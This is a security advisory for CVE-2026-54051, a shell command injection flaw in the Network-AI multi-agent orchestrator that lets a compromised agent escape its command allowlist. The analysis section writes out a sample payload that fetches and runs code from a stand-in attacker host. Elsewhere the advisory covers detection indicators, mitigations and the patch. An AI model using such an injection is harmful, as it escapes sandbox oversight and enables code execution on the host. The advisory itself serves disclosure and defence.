CVE-2026-54051: Network-AI Shell Command RCE Vulnerability

CVE-2026-54051 Overview

CVE-2026-54051 is a shell command injection vulnerability in Network-AI, a TypeScript/Node.js multi-agent orchestrator. Versions prior to 5.9.1 allow a compromised or malicious agent to escape the sandbox allowlist enforced by SandboxPolicy.isCommandAllowed. The ShellExecutor passes allowlisted command strings through /bin/sh -c, so wildcard entries such as git *, npm *, or node * also match compound commands like git status; <anything>. An attacker abuses shell metacharacters to execute arbitrary operating system commands with the privileges of the orchestrator process. The issue affects the primary control THREAT_MODEL.md identifies against Adversary 3.2 (compromised agent) [CWE-78].

Critical Impact
Any agent permitted to run a wildcard-scoped command can achieve arbitrary command execution on the host, completely bypassing the sandbox allowlist that gates shell activity.

Affected Products

Network-AI (npm package network-ai) versions prior to 5.9.1
SwarmOrchestrator skill bundle version 5.9.0 and earlier
Deployments relying on SandboxPolicy.isCommandAllowed with glob allowlist entries

Discovery Timeline

2026-07-20 - CVE-2026-54051 published to NVD
2026-07-23 - Last updated in NVD database

Technical Details for CVE-2026-54051

Vulnerability Analysis

Network-AI enforces command sandboxing through SandboxPolicy.isCommandAllowed, which glob-matches the full command string against a configured allowlist. The ShellExecutor then hands the matched string to /bin/sh -c, giving the shell full authority to interpret metacharacters. This mismatch between allowlist granularity (whole strings) and execution semantics (shell parsing) creates the injection primitive.

A policy entry such as git * matches git status; curl attacker.tld/x | sh. The shell then parses the semicolon as a command separator and executes the attacker payload. The same pattern applies to any wildcard entry, including npm * and node *, both of which are direct code execution sinks by design.

The classification aligns with [CWE-78] OS Command Injection. Because the orchestrator is designed to run agent-supplied instructions, a compromised agent (Adversary 3.2 in THREAT_MODEL.md) reaches the injection sink through normal operation rather than a separate exploit chain.

Root Cause

The root cause is inconsistent parsing between the policy check and the execution primitive. isCommandAllowed treats the command as an opaque string for glob matching, while ShellExecutor invokes /bin/sh -c, which re-parses the string and honors metacharacters (;, &, |, `, $(), redirections, and newlines). Sandbox authors expected token-level enforcement but received line-level enforcement.

Attack Vector

An attacker controlling agent input crafts a command that begins with an allowlisted token and appends a shell separator followed by arbitrary payload. Because Network-AI orchestrates multi-agent workflows, agent output can flow into ShellExecutor without additional user interaction, enabling remote exploitation over the network attack surface.

python

# Patch excerpt from scripts/check_permission.py (v5.9.1)
# Adds an explicit permission_denied audit event for every rejected request
def _deny(result: dict[str, Any]) -> dict[str, Any]:
    log_audit("permission_denied", {
        "agent_id": agent_id,
        "resource_type": resource_type,
        "scope": scope,
        "reason": result.get("reason"),
        "scores": result.get("scores"),
        "unknown_agent": unknown_agent,
    })
    return result

Source: GitHub Commit 379f776

Detection Methods for CVE-2026-54051

Indicators of Compromise

permission_denied audit events referencing shell metacharacters (;, |, &, $(), backticks) in the requested command scope
Child processes of the Node.js Network-AI runtime spawning /bin/sh -c with command strings containing separators after an allowlisted binary
Outbound network connections from the orchestrator process to unexpected destinations following agent-initiated shell commands
Creation of new binaries, cron entries, or SSH keys in the workspace of the orchestrator user

Detection Strategies

Inspect process telemetry for sh -c invocations whose command line contains multiple statements joined by shell control operators.
Correlate Network-AI audit logs with process execution events to identify commands that were allowed by policy but expanded into additional child processes.
Alert on any network-ai deployment still reporting a version string below 5.9.1 in package manifests or runtime banners.

Monitoring Recommendations

Enable and centralize the log_audit output from check_permission.py, forwarding permission_denied and command execution events to your SIEM.
Baseline the set of binaries the orchestrator legitimately spawns, then alert on deviations such as curl, wget, nc, or interpreter shells launched as descendants of ShellExecutor.

How to Mitigate CVE-2026-54051

Immediate Actions Required

Upgrade to network-ai@5.9.1 or later, which runs commands via spawn(file, args, { shell: false }) using a quote-aware parsed argv.
Audit all SandboxPolicy allowlist configurations and remove or narrow wildcard entries such as node *, npm *, and git *.
Review historical audit logs for suspicious shell metacharacters in previously allowed commands and treat matches as potential compromise.

Patch Information

The fix is delivered in Network-AI 5.9.1. ShellExecutor no longer invokes a shell. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (;, &, |, $, `, (, ), <, >, {, }, newline) or unterminated quote before evaluating the allowlist glob. Quoted metacharacters are preserved as literal argument data. See the GitHub Security Advisory GHSA-qw6v-5fcf-5666 and the remediation commit.

Workarounds

Replace wildcard allowlist entries with explicit fully qualified commands and arguments where feasible.
Run the Network-AI orchestrator under a dedicated low-privilege system account with no write access to sensitive paths.
Apply outbound network egress controls to the orchestrator host to limit second-stage payload retrieval if injection succeeds.

bash

# Upgrade Network-AI to the patched release
npm install network-ai@5.9.1

# Verify the installed version
npm ls network-ai